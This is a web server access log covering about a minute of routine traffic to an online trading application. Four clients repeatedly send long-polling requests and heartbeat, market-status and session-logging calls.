[09/Jan/2026:14:11:28 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939357316 HTTP/1.1" -
[09/Jan/2026:14:11:29 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939373989 HTTP/1.1" -
[09/Jan/2026:14:11:30 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939357759 HTTP/1.1" -
[09/Jan/2026:14:11:32 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939368206 HTTP/1.1" -
[09/Jan/2026:14:11:33 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939362501 HTTP/1.1" -
[09/Jan/2026:14:11:34 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939379064 HTTP/1.1" -
[09/Jan/2026:14:11:35 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939362823 HTTP/1.1" -
[09/Jan/2026:14:11:36 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:11:36 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:11:37 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939373299 HTTP/1.1" -
[09/Jan/2026:14:11:38 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939367635 HTTP/1.1" -
[09/Jan/2026:14:11:39 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939384128 HTTP/1.1" -
[09/Jan/2026:14:11:40 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939367884 HTTP/1.1" -
[09/Jan/2026:14:11:41 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:11:41 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:11:41 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:11:41 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:11:42 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939378362 HTTP/1.1" -
[09/Jan/2026:14:11:43 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939372738 HTTP/1.1" -
[09/Jan/2026:14:11:44 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939389155 HTTP/1.1" -
[09/Jan/2026:14:11:45 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939372943 HTTP/1.1" -
[09/Jan/2026:14:11:47 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939383465 HTTP/1.1" -
[09/Jan/2026:14:11:49 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939377903 HTTP/1.1" -
[09/Jan/2026:14:11:49 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939394183 HTTP/1.1" -
[09/Jan/2026:14:11:49 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:11:49 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:11:50 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939378012 HTTP/1.1" -
[09/Jan/2026:14:11:51 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:11:51 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:11:52 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:11:52 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:11:53 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939388535 HTTP/1.1" -
[09/Jan/2026:14:11:54 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939383081 HTTP/1.1" -
[09/Jan/2026:14:11:54 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939399249 HTTP/1.1" -
[09/Jan/2026:14:11:55 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:11:55 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:11:55 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:11:55 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:11:55 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939383063 HTTP/1.1" -
[09/Jan/2026:14:11:58 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939393569 HTTP/1.1" -
[09/Jan/2026:14:11:59 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939388143 HTTP/1.1" -
[09/Jan/2026:14:11:59 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939404311 HTTP/1.1" -
[09/Jan/2026:14:12:00 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939388093 HTTP/1.1" -
[09/Jan/2026:14:12:03 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939398662 HTTP/1.1" -
[09/Jan/2026:14:12:04 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939409370 HTTP/1.1" -
[09/Jan/2026:14:12:04 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939393283 HTTP/1.1" -
[09/Jan/2026:14:12:05 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939393166 HTTP/1.1" -
[09/Jan/2026:14:12:06 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:12:06 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:12:08 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939403733 HTTP/1.1" -
[09/Jan/2026:14:12:09 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939398452 HTTP/1.1" -
[09/Jan/2026:14:12:09 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939414401 HTTP/1.1" -
[09/Jan/2026:14:12:10 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939398243 HTTP/1.1" -
[09/Jan/2026:14:12:11 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:12:11 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:12:11 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:12:11 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:12:13 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939408843 HTTP/1.1" -
[09/Jan/2026:14:12:14 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939419457 HTTP/1.1" -
[09/Jan/2026:14:12:14 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939403528 HTTP/1.1" -
[09/Jan/2026:14:12:15 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939403329 HTTP/1.1" -
[09/Jan/2026:14:12:18 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939413918 HTTP/1.1" -
[09/Jan/2026:14:12:19 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939424488 HTTP/1.1" -
[09/Jan/2026:14:12:19 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939408664 HTTP/1.1" -
[09/Jan/2026:14:12:19 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:12:19 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:12:20 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939408423 HTTP/1.1" -
[09/Jan/2026:14:12:21 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:12:21 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:12:22 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:12:22 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:12:23 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939419033 HTTP/1.1" -
[09/Jan/2026:14:12:24 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939429519 HTTP/1.1" -
[09/Jan/2026:14:12:24 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939413803 HTTP/1.1" -
[09/Jan/2026:14:12:25 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:12:25 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:12:25 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:12:25 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:12:25 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939413483 HTTP/1.1" -
[09/Jan/2026:14:12:28 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939424063 HTTP/1.1" -
[09/Jan/2026:14:12:29 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939434596 HTTP/1.1" -
[09/Jan/2026:14:12:30 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939418863 HTTP/1.1" -
[09/Jan/2026:14:12:30 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939418513 HTTP/1.1" -
[09/Jan/2026:14:12:33 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939429140 HTTP/1.1" -
[09/Jan/2026:14:12:34 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939439616 HTTP/1.1" -
[09/Jan/2026:14:12:35 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939424017 HTTP/1.1" -
[09/Jan/2026:14:12:36 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939423591 HTTP/1.1" -
[09/Jan/2026:14:12:36 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:12:36 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:12:38 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939434234 HTTP/1.1" -
[09/Jan/2026:14:12:39 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939444638 HTTP/1.1" -
[09/Jan/2026:14:12:40 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939429148 HTTP/1.1" -
